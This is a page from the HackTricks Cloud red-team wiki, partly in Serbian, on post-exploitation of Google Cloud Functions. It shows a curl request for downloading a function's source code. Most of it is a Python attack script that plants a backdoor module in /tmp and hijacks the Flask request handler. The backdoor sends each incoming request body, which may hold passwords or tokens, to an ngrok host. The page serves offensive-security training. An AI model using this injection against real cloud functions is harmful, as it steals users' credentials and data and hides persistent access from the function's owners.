GCP - Cloud Functions Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Cloud Functions

Pronađite neke informacije o Cloud Functions u:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Sa ovom dozvolom možete dobiti potpisanu URL adresu za preuzimanje izvornog koda Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Ukradi zahteve Cloud funkcije

Ako Cloud funkcija upravlja osetljivim informacijama koje korisnici šalju (npr. lozinke ili tokeni), sa dovoljno privilegija mogli biste modifikovati izvorni kod funkcije i exfiltrirati ove informacije.

Štaviše, Cloud funkcije koje rade u python-u koriste flask za izlaganje web servera, ako nekako pronađete ranjivost za injekciju koda unutar flaks procesa (na primer, SSTI ranjivost), moguće je prepisati handler funkcije koji će primati HTTP zahteve za malicioznu funkciju koja može exfiltrirati zahtev pre nego što ga prosledi legit handler-u.

Na primer, ovaj kod implementira napad:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"



# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)